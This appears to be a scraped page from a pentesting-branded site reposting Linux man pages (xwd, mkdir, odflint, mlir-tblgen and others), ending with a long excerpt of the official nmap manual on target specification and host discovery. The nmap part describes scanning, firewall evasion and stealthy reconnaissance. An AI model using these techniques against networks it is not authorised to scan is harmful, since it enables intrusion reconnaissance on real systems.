Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

276 - Linux cli command xwd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xwd and provides detailed information about the command xwd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xwd.

NAME 🖥️ xwd 🖥️

dump an image of an X window

SYNOPSIS

xwd [-debug] [-help] [-nobdrs] [-out file] [-xy] [-frame] [-add value] [-root | -id wdid | -name wdname ] [-icmap] [-screen] [-silent] [-display host:dpy] [-version]

DESCRIPTION

Xwd is an X Window System window dumping utility. Xwd allows X users to store window images in a specially formatted dump file. This file can then be read by various other X utilities for redisplay, printing, editing, formatting, archiving, image processing, etc. The target window is selected by clicking the pointer in the desired window. The keyboard bell is rung once at the beginning of the dump and twice when the dump is completed.

OPTIONS

-debug
Enable debug mode.

-d, -display host:dpy
This argument allows you to specify the server to connect to; see X(7).

-help
Print out the `Usage:’ command syntax summary.

-nobdrs
This argument specifies that the window dump should not include the pixels that compose the X window border. This is useful in situations where you may wish to include the window contents in a document as an illustration.

-out file
This argument allows the user to explicitly specify the output file on the command line. The default is to output to standard out.

-xy
This option applies to color displays only. It selects `XY’ format dumping instead of the default `Z’ format.

-add value
This option specifies a signed value to be added to every pixel.

-frame
This option indicates that the window manager frame should be included when manually selecting a window.

-root
This option indicates that the root window should be selected for the window dump, without requiring the user to select a window with the pointer.

-id wdid
This option indicates that the window with the specified resource id should be selected for the window dump, without requiring the user to select a window with the pointer.

-name wdname
This option indicates that the window with the specified WM_NAME property should be selected for the window dump, without requiring the user to select a window with the pointer.

-icmap
Normally the colormap of the chosen window is used to obtain RGB values. This option forces the first installed colormap of the screen to be used instead.

-screen
This option indicates that the GetImage request used to obtain the image should be done on the root window, rather than directly on the specified window. In this way, you can obtain pieces of other windows that overlap the specified window, and more importantly, you can capture menus or other popups that are independent windows but appear over the specified window.

-silent
Operate silently, i.e. don’t ring any bells before and after dumping the window.

-version
This option indicates that xwd should print its version information and exit.

ENVIRONMENT

DISPLAY
To get default host and display number.

FILES

XWDFile.h
X Window Dump File format definition file.

SEE ALSO

xwud(1), X(7)

AUTHORS

Tony Della Fera, Digital Equipment Corp., MIT Project Athena
William F. Wyatt, Smithsonian Astrophysical Observatory

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

277 - Linux cli command gts-config

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gts-config and provides detailed information about the command gts-config, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gts-config.

NAME 🖥️ gts-config 🖥️

config - defines values for programs using gts.

SYNOPSIS

gts-config [ OPTIONS ] [ LIBRARIES ]

DESCRIPTION

This manual page documents briefly the gts-config command.

OPTIONS

These programs follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

–prefix[ =DIR ]
–exec-prefix[ =DIR ]
–version
–libs
–cflags
–check

LIBRARIES

gts
gmodule
gthread

AUTHOR

gts-config was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

278 - Linux cli command mkdir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkdir and provides detailed information about the command mkdir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkdir.

NAME 🖥️ mkdir 🖥️

make directories

SYNOPSIS

mkdir [OPTION]… DIRECTORY

DESCRIPTION

Create the DIRECTORY(ies), if they do not already exist.

Mandatory arguments to long options are mandatory for short options too.

-m, –mode=MODE
set file mode (as in chmod), not a=rwx - umask

-p, –parents
no error if existing, make parent directories as needed, with their file modes unaffected by any -m option.

-v, –verbose
print a message for each created directory

-Z
set SELinux security context of each created directory to the default type

–context[=CTX]
like -Z, or if CTX is specified then set the SELinux or SMACK security context to CTX

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

mkdir(2)

Full documentation <https://www.gnu.org/software/coreutils/mkdir>
or available locally via: info ‘(coreutils) mkdir invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

279 - Linux cli command odflint

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odflint and provides detailed information about the command odflint, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odflint.

NAME 🖥️ odflint 🖥️

Check ODF file for problems

SYNOPSIS

odflint path

DESCRIPTION

odflint is a program that will check an ODF file and give warning if it finds something suspect. It is not able to make a full validation due to the complexity of the schema.

“Path” is assumed to be an OpenDocument file of text, spreadsheet or presentation type.

EXAMPLE

odflint odf-file

BUGS

Validates all versions of ODF as if they are version 1.1. Youll therefore get some false positives if you check files that arent generated by odfpy scripts.

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

280 - Linux cli command mlir-tblgen-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mlir-tblgen-17 and provides detailed information about the command mlir-tblgen-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mlir-tblgen-17.

NAME 🖥️ mlir-tblgen-17 🖥️

tblgen - Description to C++ Code for MLIR

SYNOPSIS

mlir-tblgen [options] [filename]

DESCRIPTION

mlir-tblgen is a program that translates compiler-related target description (.td) files into C++ code and other output formats. Most users of LLVM will not need to use this program. It is used only for writing parts of the compiler.

Please see tblgen - Description to C++ Code for a description of the filename argument and options, including the options common to all *-tblgen programs.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

281 - Linux cli command nmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nmap and provides detailed information about the command nmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nmap.

NAME 🖥️ nmap 🖥️

Network exploration tool and security / port scanner

SYNOPSIS

nmap [Scan Type…] [Options] {target specification}

DESCRIPTION

Nmap (“Network Mapper”) is an open source tool for network exploration and security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. While Nmap is commonly used for security audits, many systems and network administrators find it useful for routine tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime.

The output from Nmap is a list of scanned targets, with supplemental information on each depending on the options used. Key among that information is the “interesting ports table”. That table lists the port number and protocol, service name, and state. The state is either open, filtered, closed, or unfiltered. Open means that an application on the target machine is listening for connections/packets on that port. Filtered means that a firewall, filter, or other network obstacle is blocking the port so that Nmap cannot tell whether it is open or closed. Closed ports have no application listening on them, though they could open up at any time. Ports are classified as unfiltered when they are responsive to Nmaps probes, but Nmap cannot determine whether they are open or closed. Nmap reports the state combinations open|filtered and closed|filtered when it cannot determine which of the two states describe a port. The port table may also include software version details when version detection has been requested. When an IP protocol scan is requested (-sO), Nmap provides information on supported IP protocols rather than listening ports.

In addition to the interesting ports table, Nmap can provide further information on targets, including reverse DNS names, operating system guesses, device types, and MAC addresses.

A typical Nmap scan is shown in Example 1. The only Nmap arguments used in this example are -A, to enable OS and version detection, script scanning, and traceroute; -T4 for faster execution; and then the hostname.

Example 1. A representative Nmap scan

nmap -A -T4 scanme.nmap.org

Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.029s latency).
rDNS record for 74.207.244.221: li86-221.members.linode.com
Not shown: 995 closed ports
PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
| ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA)
|_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA)
80/tcp   open     http        Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Go ahead and ScanMe!
646/tcp  filtered ldp
1720/tcp filtered H.323/Q.931
9929/tcp open     nping-echo  Nping echo
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.39
OS details: Linux 2.6.39
Network Distance: 11 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
[Cut first 10 hops for brevity]
11  17.65 ms li86-221.members.linode.com (74.207.244.221)

Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds

The newest version of Nmap can be obtained from https://nmap.org. The newest version of this man page is available at https://nmap.org/book/man.html. It is also included as a chapter of Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning (see https://nmap.org/book/).

OPTIONS SUMMARY

This options summary is printed when Nmap is run with no arguments, and the latest version is always available at https://svn.nmap.org/nmap/docs/nmap.usage.txt. It helps people remember the most common options, but is no substitute for the in-depth documentation in the rest of this manual. Some obscure options arent even included here.

Nmap 7.94 ( https://nmap.org ) Usage: nmap [Scan Type(s)] [Options] {target specification} TARGET SPECIFICATION: Can pass hostnames, IP addresses, networks, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iL : Input from list of hosts/networks -iR : Choose random targets –exclude <host1[,host2][,host3],…>: Exclude hosts/networks –excludefile <exclude_file>: Exclude list from file HOST DISCOVERY: -sL: List Scan - simply list targets to scan -sn: Ping Scan - disable port scan -Pn: Treat all hosts as online – skip host discovery -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes -PO[protocol list]: IP Protocol Ping -n/-R: Never do DNS resolution/Always resolve [default: sometimes] –dns-servers <serv1[,serv2],…>: Specify custom DNS servers –system-dns: Use OSs DNS resolver –traceroute: Trace hop path to each host SCAN TECHNIQUES: -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans -sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans –scanflags : Customize TCP scan flags -sI <zombie host[:probeport]>: Idle scan -sY/sZ: SCTP INIT/COOKIE-ECHO scans -sO: IP protocol scan -b : FTP bounce scan PORT SPECIFICATION AND SCAN ORDER: -p : Only scan specified ports Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9 –exclude-ports : Exclude the specified ports from scanning -F: Fast mode - Scan fewer ports than the default scan -r: Scan ports sequentially - dont randomize –top-ports : Scan most common ports –port-ratio : Scan ports more common than SERVICE/VERSION DETECTION: -sV: Probe open ports to determine service/version info –version-intensity : Set from 0 (light) to 9 (try all probes) –version-light: Limit to most likely probes (intensity 2) –version-all: Try every single probe (intensity 9) –version-trace: Show detailed version scan activity (for debugging) SCRIPT SCAN: -sC: equivalent to –script=default –script=: is a comma separated list of directories, script-files or script-categories –script-args=<n1=v1,[n2=v2,…]>: provide arguments to scripts –script-args-file=filename: provide NSE script args in a file –script-trace: Show all data sent and received –script-updatedb: Update the script database. –script-help=: Show help about scripts. is a comma-separated list of script-files or script-categories. OS DETECTION: -O: Enable OS detection –osscan-limit: Limit OS detection to promising targets –osscan-guess: Guess OS more aggressively TIMING AND PERFORMANCE: Options which take

TARGET SPECIFICATION

Everything on the Nmap command-line that isnt an option (or option argument) is treated as a target host specification. The simplest case is to specify a target IP address or hostname for scanning.

When a hostname is given as a target, it is resolved via the Domain Name System (DNS) to determine the IP address to scan. If the name resolves to more than one IP address, only the first one will be scanned. To make Nmap scan all the resolved addresses instead of only the first one, use the –resolve-all option.

Sometimes you wish to scan a whole network of adjacent hosts. For this, Nmap supports CIDR-style addressing. You can append /numbits to an IP address or hostname and Nmap will scan every IP address for which the first numbits are the same as for the reference IP or hostname given. For example, 192.168.10.0/24 would scan the 256 hosts between 192.168.10.0 (binary: 11000000 10101000 00001010 00000000) and 192.168.10.255 (binary: 11000000 10101000 00001010 11111111), inclusive. 192.168.10.40/24 would scan exactly the same targets. Given that the host scanme.nmap.org is at the IP address 64.13.134.52, the specification scanme.nmap.org/16 would scan the 65,536 IP addresses between 64.13.0.0 and 64.13.255.255. The smallest allowed value is /0, which targets the whole Internet. The largest value for IPv4 is /32, which scans just the named host or IP address because all address bits are fixed. The largest value for IPv6 is /128, which does the same thing.

CIDR notation is short but not always flexible enough. For example, you might want to scan 192.168.0.0/16 but skip any IPs ending with .0 or .255 because they may be used as subnet network and broadcast addresses. Nmap supports this through octet range addressing. Rather than specify a normal IP address, you can specify a comma-separated list of numbers or ranges for each octet. For example, 192.168.0-255.1-254 will skip all addresses in the range that end in .0 or .255, and 192.168.3-5,7.1 will scan the four addresses 192.168.3.1, 192.168.4.1, 192.168.5.1, and 192.168.7.1. Either side of a range may be omitted; the default values are 0 on the left and 255 on the right. Using - by itself is the same as 0-255, but remember to use 0- in the first octet so the target specification doesnt look like a command-line option. Ranges need not be limited to the final octets: the specifier 0-255.0-255.13.37 will perform an Internet-wide scan for all IP addresses ending in 13.37. This sort of broad sampling can be useful for Internet surveys and research.

IPv6 addresses can be specified by their fully qualified IPv6 address or hostname or with CIDR notation for subnets. Octet ranges arent yet supported for IPv6.

IPv6 addresses with non-global scope need to have a zone ID suffix. On Unix systems, this is a percent sign followed by an interface name; a complete address might be fe80::a8bb:ccff:fedd:eeff%eth0. On Windows, use an interface index number in place of an interface name: fe80::a8bb:ccff:fedd:eeff%1. You can see a list of interface indexes by running the command netsh.exe interface ipv6 show interface.

Nmap accepts multiple host specifications on the command line, and they dont need to be the same type. The command nmap scanme.nmap.org 192.168.0.0/8 10.0.0,1,3-7.- does what you would expect.

While targets are usually specified on the command lines, the following options are also available to control target selection:

-iL inputfilename (Input from list)

Reads target specifications from inputfilename. Passing a huge list of hosts is often awkward on the command line, yet it is a common desire. For example, your DHCP server might export a list of 10,000 current leases that you wish to scan. Or maybe you want to scan all IP addresses except for those to locate hosts using unauthorized static IP addresses. Simply generate the list of hosts to scan and pass that filename to Nmap as an argument to the -iL option. Entries can be in any of the formats accepted by Nmap on the command line (IP address, hostname, CIDR, IPv6, or octet ranges). Each entry must be separated by one or more spaces, tabs, or newlines. You can specify a hyphen (-) as the filename if you want Nmap to read hosts from standard input rather than an actual file.

The input file may contain comments that start with # and extend to the end of the line.

-iR num hosts (Choose random targets)

For Internet-wide surveys and other research, you may want to choose targets at random. The num hosts argument tells Nmap how many IPs to generate. Undesirable IPs such as those in certain private, multicast, or unallocated address ranges are automatically skipped. The argument 0 can be specified for a never-ending scan. Keep in mind that some network administrators bristle at unauthorized scans of their networks and may complain. Use this option at your own risk! If you find yourself really bored one rainy afternoon, try the command nmap -Pn -sS -p 80 -iR 0 –open to locate random web servers for browsing.

–exclude host1**[,**host2[,…]] (Exclude hosts/networks)

Specifies a comma-separated list of targets to be excluded from the scan even if they are part of the overall network range you specify. The list you pass in uses normal Nmap syntax, so it can include hostnames, CIDR netblocks, octet ranges, etc. This can be useful when the network you wish to scan includes untouchable mission-critical servers, systems that are known to react adversely to port scans, or subnets administered by other people.

–excludefile exclude_file (Exclude list from file)

This offers the same functionality as the –exclude option, except that the excluded targets are provided in a newline-, space-, or tab-delimited exclude_file rather than on the command line.

The exclude file may contain comments that start with # and extend to the end of the line.

-n (No DNS resolution)

Tells Nmap to never do reverse DNS resolution on the active IP addresses it finds. Since DNS can be slow even with Nmaps built-in parallel stub resolver, this option can slash scanning times.

-R (DNS resolution for all targets)

Tells Nmap to always do reverse DNS resolution on the target IP addresses. Normally reverse DNS is only performed against responsive (online) hosts.

–resolve-all (Scan each resolved address)

If a hostname target resolves to more than one address, scan all of them. The default behavior is to only scan the first resolved address. Regardless, only addresses in the appropriate address family will be scanned: IPv4 by default, IPv6 with -6.

–unique (Scan each address only once)

Scan each IP address only once. The default behavior is to scan each address as many times as it is specified in the target list, such as when network ranges overlap or different hostnames resolve to the same address.

–system-dns (Use system DNS resolver)

By default, Nmap reverse-resolves IP addresses by sending queries directly to the name servers configured on your host and then listening for responses. Many requests (often dozens) are performed in parallel to improve performance. Specify this option to use your system resolver instead (one IP at a time via the getnameinfo call). This is slower and rarely useful unless you find a bug in the Nmap parallel resolver (please let us know if you do). The system resolver is always used for forward lookups (getting an IP address from a hostname).

–dns-servers server1**[,**server2[,…]] (Servers to use for reverse DNS queries)

By default, Nmap determines your DNS servers (for rDNS resolution) from your resolv.conf file (Unix) or the Registry (Win32). Alternatively, you may use this option to specify alternate servers. This option is not honored if you are using –system-dns. Using multiple DNS servers is often faster, especially if you choose authoritative servers for your target IP space. This option can also improve stealth, as your requests can be bounced off just about any recursive DNS server on the Internet.

This option also comes in handy when scanning private networks. Sometimes only a few name servers provide proper rDNS information, and you may not even know where they are. You can scan the network for port 53 (perhaps with version detection), then try Nmap list scans (-sL) specifying each name server one at a time with –dns-servers until you find one which works.

This option might not be honored if the DNS response exceeds the size of a UDP packet. In such a situation our DNS resolver will make the best effort to extract a response from the truncated packet, and if not successful it will fall back to using the system resolver. Also, responses that contain CNAME aliases will fall back to the system resolver.

HOST DISCOVERY

One of the very first steps in any network reconnaissance mission is to reduce a (sometimes huge) set of IP ranges into a list of active or interesting hosts. Scanning every port of every single IP address is slow and usually unnecessary. Of course what makes a host interesting depends greatly on the scan purposes. Network administrators may only be interested in hosts running a certain service, while security auditors may care about every single device with an IP address. An administrator may be comfortable using just an ICMP ping to locate hosts on his internal network, while an external penetration tester may use a diverse set of dozens of probes in an attempt to evade firewall restrictions.

Because host discovery needs are so diverse, Nmap offers a wide variety of options for customizing the techniques used. Host discovery is sometimes called ping scan, but it goes well beyond the simple ICMP echo request packets associated with the ubiquitous ping tool. Users can skip the discovery step entirely with a list scan (-sL) or by disabling host discovery (-Pn), or engage the network with arbitrary combinations of multi-port TCP SYN/ACK, UDP, SCTP INIT and ICMP probes. The goal of these probes is to solicit responses which demonstrate that an IP address is actually active (is being used by a host or network device). On many networks, only a small percentage of IP addresses are active at any given time. This is particularly common with private address space such as 10.0.0.0/8. That network has 16 million IPs, but I have seen it used by companies with less than a thousand machines. Host discovery can find those machines in a sparsely allocated sea of IP addresses.

If no host discovery options are given, Nmap sends an ICMP echo request, a TCP SYN packet to port 443, a TCP ACK packet to port 80, and an ICMP timestamp request. (For IPv6, the ICMP timestamp request is omitted because it is not part of ICMPv6.) These defaults are equivalent to the -PE -PS443 -PA80 -PP options. The exceptions to this are the ARP (for IPv4) and Neighbor Discovery (for IPv6) scans which are used for any targets on a local ethernet network. For unprivileged Unix shell users, the default probes are a SYN packet to ports 80 and 443 using the connect system call. This host discovery is often sufficient when scanning local networks, but a more comprehensive set of discovery probes is recommended for security auditing.

The -P* options (which select ping types) can be combined. You can increase your odds of penetrating strict firewalls by sending many probe types using different TCP ports/flags and ICMP codes. Also note that ARP/Neighbor Discovery is done by default against targets on a local Ethernet network even if you specify other -P* options, because it is almost always faster and more effective.

By default, Nmap does host discovery and then performs a port scan against each host it determines is online. This is true even if you specify non-default host discovery types such as UDP probes (-PU). Read about the -sn option to learn how to perform only host discovery, or use -Pn to skip host discovery and port scan all target addresses. The following options control host discovery:

-sL (List Scan)

The list scan is a degenerate form of host discovery that simply lists each host of the network(s) specified, without sending any packets to the target hosts. By default, Nmap still does reverse-DNS resolution on the hosts to learn their names. It is often surprising how much useful information simple hostnames give out. For example, fw.chi is the name of one companys Chicago firewall.

Nmap also reports the total number of IP addresses at the end. The list scan is a good sanity check to ensure that you have proper IP addresses for your targets. If the hosts sport domain names you do not recognize, it is worth investigating further to prevent scanning the wrong companys network.

Since the idea is to simply print a list of target hosts, options for higher level functionality such as port scanning, OS detection, or host discovery cannot be combined with this. If you wish to disable host discovery while still performing such higher level functionality, read up on the -Pn (skip host discovery) option.

-sn (No port scan)

This option tells Nmap not to do a port scan after host discovery, and only print out the available hosts that responded to the host discovery probes. This is often known as a “ping scan”, but you can also request that traceroute and NSE host scripts be run. This is by default one step more intrusive than the list scan, and can often be used for the same purposes. It allows light reconnaissance of a target network without attracting much attention. Knowing how many hosts are up is more valuable to attackers than the list provided by list scan of every single IP and host name.

Systems administrators often find this option valuable as well. It can easily be used to count available machines on a network or monitor server availability. This is often called a ping sweep, and is more reliable than pinging the broadcast address because many hosts do not reply to broadcast queries.

The default host discovery done with -sn consists of an ICMP echo request, TCP SYN to port 443, TCP ACK to port 80, and an ICMP timestamp request by default. When executed by an unprivileged user, only SYN packets are sent (using a connect call) to ports 80 and 443 on the target. When a privileged user tries to scan targets on a local ethernet network, ARP requests are used unless –send-ip was specified. The -sn option can be combined with any of the discovery probe types (the -P* options) for greater flexibility. If any of those probe type and port number options are used, the default probes are overridden. When strict firewalls are in place between the source host running Nmap and the target network, using those advanced techniques is recommended. Otherwise hosts could be missed when the firewall drops probes or their responses.

In previous releases of Nmap, -sn was known as -sP.

-Pn (No ping)

This option skips the host discovery stage altogether. Normally, Nmap uses this stage to determine active machines for heavier scanning and to gauge the speed of the network. By default, Nmap only performs heavy probing such as port scans, version detection, or OS detection against hosts that are found to be up. Disabling host discovery with -Pn causes Nmap to attempt the requested scanning functions against every target IP address specified. So if a /16 sized network is specified on the command line, all 65,536 IP addresses are scanned. Proper host discovery is skipped as with the list scan, but instead of stopping and printing the target list, Nmap continues to perform requested functions as if each target IP is active. Default timing parameters are used, which may result in slower scans. To skip host discovery and port scan, while still allowing NSE to run, use the two options -Pn -sn together.

For machines on a local ethernet network, ARP scanning will still be performed (unless –disable-arp-ping or –send-ip is specified) because Nmap needs MAC addresses to further scan target hosts. In previous versions of Nmap, -Pn was -P0 and -PN.

-PS port list (TCP SYN Ping)

This option sends an empty TCP packet with the SYN flag set. The default destination port is 80 (configurable at compile time by changing DEFAULT_TCP_PROBE_PORT_SPEC in nmap.h). Alternate ports can be specified as a parameter. The syntax is the same as for the -p except that port type specifiers like T: are not allowed. Examples are -PS22 and -PS22-25,80,113,1050,35000. Note that there can be no space between -PS and the port list. If multiple probes are specified they will be sent in parallel.

The SYN flag suggests to the remote system that you are attempting to establish a connection. Normally the destination port will be closed, and a RST (reset) packet sent back. If the port happens to be open, the target will take the second step of a TCP three-way-handshake by responding with a SYN/ACK TCP packet. The machine running Nmap then tears down the nascent connection by responding with a RST rather than sending an ACK packet which would complete the three-way-handshake and establish a full connection. The RST packet is sent by the kernel of the machine running Nmap in response to the unexpected SYN/ACK, not by Nmap itself.

